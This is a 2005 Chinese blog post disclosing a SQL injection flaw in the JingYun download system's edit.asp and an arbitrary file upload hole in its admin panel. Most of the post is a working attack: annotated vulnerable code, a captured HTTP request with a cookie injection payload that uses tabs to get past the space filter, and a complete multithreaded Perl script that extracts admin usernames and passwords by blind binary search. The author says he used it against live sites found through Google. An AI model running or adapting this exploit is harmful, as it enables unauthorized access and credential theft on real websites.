我的人生路  
          日歷
          <2005年7月>
          262728293012
          3456789
          10111213141516
          17181920212223
          24252627282930
          31123456
          統(tǒng)計
          • 隨筆 - 74
          • 文章 - 57
          • 評論 - 7
          • 引用 - 0

          導(dǎo)航

          常用鏈接

          留言簿(5)

          隨筆分類

          隨筆檔案

          文章分類

          文章檔案

          相冊

          顏色

          搜索

          •  

          最新評論

          閱讀排行榜

          評論排行榜

           
          驚云下載系統(tǒng)edit.asp文件存在SQL注入漏洞,后臺存在任意文件上傳漏洞
          驚云下載系統(tǒng)以前有個漏洞好象在user.asp,不知現(xiàn)在修補(bǔ)沒有。本人這次和大家講件edit.asp文件的漏洞,一來發(fā)布一個
          漏洞,二教教大家如何發(fā)現(xiàn)和利用漏洞。我一行一行解釋。
          <%
          user=Request.cookies("JyDownUserName")
          '取得用戶COOKIE并存入USER變量

          if user<>"" then
          user=replace(user," ","+++ close")
          '給USER變量替換空格
          else
          response.write("<li>您沒有進(jìn)入本頁面的權(quán)限,本次操作已被記錄!<br><li>如果你是本站會員請先<a href=login.asp target=_top>登陸</a>后進(jìn)入.")
          response.end
          end if
          '上面判斷COOKIE是否為空,空則跳轉(zhuǎn),等會我們構(gòu)造COOKIE欺騙,讓JyDownUserName這個COOKIE值不為空,至于為多少,等會說。


          server_vv=len(Request.ServerVariables("SERVER_NAME"))
          server_v1=left(Cstr(Request.ServerVariables("HTTP_REFERER")),server_vv)
          server_v2=left(Cstr("http://"&Request.ServerVariables("SERVER_NAME")),server_vv)
          if server_v1<>server_v2 and server_v1<>"" and server_v2<>"" then
          response.write("<script>alert('錯誤:禁止從站點(diǎn)外部提交數(shù)據(jù)!.')</script>")
          response.end
          end if
          '上面判斷網(wǎng)頁是否是從瀏覽器點(diǎn)擊而進(jìn)入的,我們同樣可以偽造是這個地方為真,再此不再贅述
          %>


          <!--#include file="mdb_path_user.asp"-->
          <!--#include file="char.inc"-->
          <!--#include file="config.asp"-->
          '上面是頭文件包含,沒什么用,忽略就行了

          <%
          pwd=replace(request.form("pwd")," ","+++ close")
          set rs=server.CreateObject("ADODB.RecordSet")
          rs.open "select * from UserInfo where user='"&user&"'",conn,1,2
          '關(guān)鍵的一句注入點(diǎn),因?yàn)閡ser=replace(Request.cookies("JyDownUserName"),," ","+++ close"),很明顯沒有過濾單引號
          if rs.eof then
          JyDownMsg="錯誤:"&user&"用戶資料讀取錯誤,請重新登陸!"
          '注入條件判斷語句,沒有它都不能確定是否成功,返回此句代表失敗
          else
          if request("type")="save" then
          if pwd="" then
          JyDownMsg="錯誤:要修改資料必需填寫原密碼!"
          else
          if pwd<>rs("pwd") then
          JyDownMsg="錯誤:原密碼錯誤!"
          '注入條件判斷語句,沒有它都不能確定是否成功,返回此句代表成功,至于為什么我真得無法用語言表達(dá)了,還是自己想吧。這句以下已經(jīng)沒有意義了。解釋至此
          else
          qm=htmlencode(request.form("qm"))
          if len(qm)>250 then
          JyDownMsg="錯誤:個性簽名多于250個字符!"
          else
          .........



          好了,已經(jīng)知道注入的地方,而且知道成功的標(biāo)志,同時知道表的結(jié)構(gòu)(網(wǎng)上可以找到嘛),便可以利用了。
          到底如何利用呢?當(dāng)然最好是搞定管理員的用戶和密碼拉。


          我用WSE抓包后,整理如下(以我自己的機(jī)器做實(shí)驗(yàn))

          POST /admin/edit.asp HTTP/1.1
          Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
          1 Referer: http://localhost/
          Accept-Language: zh-cn
          Content-Type: application/x-www-form-urlencoded
          Accept-Encoding: gzip, deflate
          User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE2)
          Host: localhost
          Content-Length: 125
          Connection: Keep-Alive
          cache-Control: no-cache
          2 Cookie:iscookies=0; JyDownUserDj=0; JyDownUserName=aaaaaaaa'%09union%09select%09*%09from%09userinfo%09where%09id%3D1%09and%09len(pwd)%3D1%09and%09'1%3D1

          type=save&pwd=tttttt3333tttt&pwd1=&pwd2=&oicq=33337788&email=fsadf@fsf.com&homepage=&qm=&softurl=&b1=%C8%B7%C8%CF%D0%DE%B8%C4

          上面兩處是需要注意的,有序號。其他地方隨便添,按照我上面的就行了。

          1處是為了逃避上面講到的防網(wǎng)頁不是從點(diǎn)擊近來的,把這個值設(shè)為網(wǎng)址就行了,沒什么好講的。
          2處是最關(guān)鍵的,我上面提到了COOKIE欺騙,這里不但要欺騙還有注入。

          JyDownUserName這個值我們把它設(shè)為了
          aaaaaaaa' union select * from userinfo where id=1 and len(pwd)=1 and '1=1
          這個。上面是經(jīng)過編碼的。其中%09是TAB鍵的編碼,為了躲過空格過濾。它和空格是等價的,真的謝謝MS工程師開發(fā)軟件總是為用戶著想,生怕功能不強(qiáng)。
          程序作者只過濾了空格欠考慮。


          把上面的值代入到原程序總就變?yōu)榱耍☉?yīng)該學(xué)過代數(shù)啊,呵呵)
          select * from UserInfo where user='aaaaaaaa' union select * from userinfo where id=1 and len(user)=1 and '1=1'

          那個a串沒什么意義,就是為了使前面語句為假,沒有這個用戶就行了,可以是任意特殊字符串。后面的SELECT是重點(diǎn)。
          ID=1是猜id為1的用戶,其實(shí)就是管理員用戶。不過有的管理員可能改了,那就不靈了。猜他的長度是不是1。
          很顯然是1可能性很小,不要緊,猜錯了,會返回“錯誤:....用戶資料讀取錯誤,請重新登陸!”中間省了一部分。
          我們把語句換成
          select * from UserInfo where user='aaaaaaaa' union select * from userinfo where id=1 and len(user)=2 and '1=1'
          返回“錯誤:....用戶資料讀取錯誤,請重新登陸!”,看來用戶名長度也不是2,再換。

          換到5是返回 "錯誤:原密碼錯誤!",看來用戶名長度就是5了。同樣方法猜出密碼長度7。

          該猜字符。
          select * from UserInfo where user='aaaaaaaa' union select * from userinfo where id=1 and asc(mid(user,1,1)=40 and '1=1'
          上面的語句大家能看懂吧?用mid函數(shù)是截取一個字符,然后轉(zhuǎn)換成ASCII碼,再和40比較。返回錯誤,說明user的第一個字符ASCII值不是40。

          猜到97的時候返回"錯誤:原密碼錯誤!",說明用戶名第一個字符是a 。

          以此類推,猜出user是admin,pwd是abcdefg.管理員的用戶密碼猜出來了。

          上面的過程顯然不可能手工輸入和猜測,必須依靠工具。現(xiàn)成的也沒有這種工具,鄙畢人就抽了寶貴的打牌(QQ升級)時間了寫了個程序,很快就猜出來了。上面是方法。


          我用我寫的程序在網(wǎng)上實(shí)驗(yàn),真是無往不利。就是在GOOGLE上搜驚云系統(tǒng),管理員很快猜出來了。

          我登陸一個網(wǎng)站后,發(fā)現(xiàn)有個地方可以上傳文件。我回過頭讀源代碼,發(fā)現(xiàn)了和動網(wǎng)一樣的文件上傳漏洞,都是在路徑上沒做檢查,允許遠(yuǎn)程命名文件名。

          我抓包,提交,恩,成功。順便又寫了個腳本。這個漏洞沒什么好講的,還是看動畫怎么做吧。
          下面事猜管理員密碼的源代碼

          #!/usr/bin/perl

          use IO::Socket;
          use threads;

          $lhost = $ARGV[0];#主機(jī)IP

          $port = $ARGV[1];#端口號,默認(rèn)80

          $path = $ARGV[2];

          $id = $ARGV[3];

          $mod = $ARGV[4];

          $char = $ARGV[5];

          $argv_len=@ARGV;

          if($argv_len<=4) { usage(); exit(); }

          if($mod==0)
          {
          get_user_len($id);
          get_pwd_len($id);
          }

          elsif($mod==1)
          {
          #get_user($id,$char);
          my $i;
          for($i=1;$i<=$char;$i++)
          {
          $t[$i]=threads->new(\&get_user,$id,$i);
          }
          for($i=1;$i<=$char;$i++)
          {
          $t[$i]->join();
          }
          }
          elsif($mod==2)
          {
          #get_pwd($id,$char);

          my $i;
          for($i=1;$i<=$char;$i++)
          {
          $t[$i]=threads->new(\&get_pwd,$id,$i);
          }
          for($i=1;$i<=$char;$i++)
          {
          $t[$i]->join();
          }

          }

          exit();

          sub get_user()
          {
          my($id,$char_now)=@_;
          my $aaa=bin_s(0,123,$path,$char_now,$id);
          print "The $char_now char:".chr($aaa)."\n";
          }



          sub bin_s()
          {
          my ($low,$high,$path,$char_now,$id)=@_;

          my $lh=($low+$high)/2;

          my $aaaa=$lh-int($lh);

          my $mid;

          if($aaaa>0)
          {
          $mid=int($lh)+1;
          }
          else
          {
          $mid=int($lh);
          }

          my $mid_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*%0 9from%09userinfo%09where%09id%3D".$id."%09and%09asc(mid(user ,$char_now,1))>".$mid."%09and%09'1%3D1");

          my $mid1_flag;

          if($mid_flag==0)
          {
          $mid1_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*% 09from%09userinfo%09where%09id%3D".$id."%09and%09asc(mid(use r,$char_now,1))%3D".$mid."%09and%09'1%3D1");
          }
          else
          {
          $mid1_flag=0;
          }

          #print "\n low:$low mid:$mid high:$high $mid_flag $mid1_flag char_now:$char_now id:$id";

          if($mid_flag==0&&$mid1_flag==1)
          {
          return $mid;
          }
          elsif($mid_flag==1&&$mid1_flag==0)
          {
          bin_s($mid,$high,$path,$char_now,$id);
          }
          elsif($mid_flag==0&&$mid1_flag==0)
          {
          bin_s($low,$mid,$path,$char_now,$id);
          }

          }



          sub get_pwd()
          {
          my($id,$char_now)=@_;
          my $aaa=bin_pwd_s(0,123,$path,$char_now,$id);
          print "The $char_now char:".chr($aaa)."\n";
          }


          sub bin_pwd_s()
          {
          my ($low,$high,$path,$char_now,$id)=@_;

          my $lh=($low+$high)/2;

          my $aaaa=$lh-int($lh);

          my $mid;

          if($aaaa>0)
          {
          $mid=int($lh)+1;
          }
          else
          {
          $mid=int($lh);
          }

          my $mid_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*%0 9from%09userinfo%09where%09id%3D".$id."%09and%09asc(mid(pwd, $char_now,1))>".$mid."%09and%09'1%3D1");

          my $mid1_flag;

          if($mid_flag==0)
          {
          $mid1_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*% 09from%09userinfo%09where%09id%3D".$id."%09and%09asc(mid(pwd ,$char_now,1))%3D".$mid."%09and%09'1%3D1");
          }
          else
          {
          $mid1_flag=0;
          }

          #print "\n low:$low mid:$mid high:$high $mid_flag $mid1_flag char_now:$char_now id:$id";

          if($mid_flag==0&&$mid1_flag==1)
          {
          return $mid;
          }
          elsif($mid_flag==1&&$mid1_flag==0)
          {
          bin_pwd_s($mid,$high,$path,$char_now,$id);
          }
          elsif($mid_flag==0&&$mid1_flag==0)
          {
          bin_pwd_s($low,$mid,$path,$char_now,$id);
          }

          }




          sub get_user_len()
          {
          my($id)=@_;

          for($user_j=1;$user_j<=30;$user_j++)
          {
          $user_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*% 09from%09userinfo%09where%09id%3D".$id."%09and%09len(user)%3 D".$user_j."%09and%09'1%3D1");
          if($user_flag==1){last;}
          }
          if($user_j<31)
          {
          print "User_length of id $id: $user_j\n";
          }
          else
          {
          print "Can't get user length\n";
          }
          return $user_j;

          }

          sub get_pwd_len()
          {
          my($id)=@_;
          my $user_j,$user_flag;
          for($user_j=1;$user_j<=30;$user_j++)
          {
          $user_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*% 09from%09userinfo%09where%09id%3D".$id."%09and%09len(pwd)%3D ".$user_j."%09and%09'1%3D1");
          if($user_flag==1){last;}
          }
          if($user_j<31)
          {
          print "Pass_length of id $id: $user_j\n";
          }
          else
          {
          print "Can't get password length\n";
          }
          return $user_j;
          }



          sub GetRequest()
          {
          my($lpath,$usercookie)=@_;
          $remote=IO::Socket::INET->new (Proto => "tcp", PeerAddr=>$lhost, PeerPort => $port, Type => SOCK_STREAM) or die "Couldnt connect to $lhost:$port : $@\n";
          $remote->autoflush(1);

          $content=" type=save&pwd=tttttt3333tttt&pwd1=&pwd2=&oic q=33337788&email=fsadf@fsf.com&homepage=&qm=& ;softurl=&b1=%C8%B7%C8%CF%D0%DE%B8%C4 ";
          $length=length($content);

          $post="POST ".$lpath." HTTP/1.1\r\n".
          "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*\r\n".
          "Referer: http://".$lhost.":".$port."/".$path."\r\n".
          "Accept-Language: zh-cn\r\n".
          "Content-Type: application/x-www-form-urlencoded\r\n".
          "Accept-Encoding: gzip, deflate\r\n".
          "User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE2)\r\n".
          "Host: $lhost\r\n".
          "Content-Length: ".$length."\r\n".
          "Connection: Keep-Alive\r\n".
          "Cache-Control: no-cache\r\n".
          "Cookie:iscookies=0; JyDownUserDj=0; JyDownUserName=".$usercookie."\r\n\r\n".
          $content;

          print $remote $post;

          my $flag=0;
          for($i=1;$i<=40;$i++)
          {
          $line=<$remote>;
          if(index($line,"原密碼錯誤")!=-1)
          {
          $flag=1;
          }
          }
          close $remote;
          return $flag;
          }

          sub usage()
          {
          print "$0 host port path id mod char\n";
          print "mod 0 用戶名和密碼長度 1 猜用戶 2 猜密碼\n";
          print "char 猜測字符位置 1-20";
          }


          歡迎大家訪問我的個人網(wǎng)站 萌萌的IT人
          posted on 2005-07-08 13:19 一天一點(diǎn)愛戀 閱讀(181) 評論(0)  編輯  收藏

          只有注冊用戶登錄后才能發(fā)表評論。


          網(wǎng)站導(dǎo)航:
           
           
          Copyright © 一天一點(diǎn)愛戀 Powered by: 博客園 模板提供:滬江博客
          主站蜘蛛池模板: 红桥区| 抚顺县| 兴宁市| 宜兰市| 松江区| 安顺市| 翁源县| 江永县| 宁河县| 郴州市| 林甸县| 田林县| 轮台县| 饶河县| 贵州省| 昌江| 永康市| 温宿县| 麦盖提县| 凤阳县| 洱源县| 上饶市| 永修县| 新巴尔虎左旗| 合水县| 巴青县| 乐安县| 绍兴市| 平山县| 苍梧县| 哈尔滨市| 龙胜| 称多县| 常熟市| 阿尔山市| 平顶山市| 当阳市| 仁化县| 盐源县| 鄂尔多斯市| 梁河县|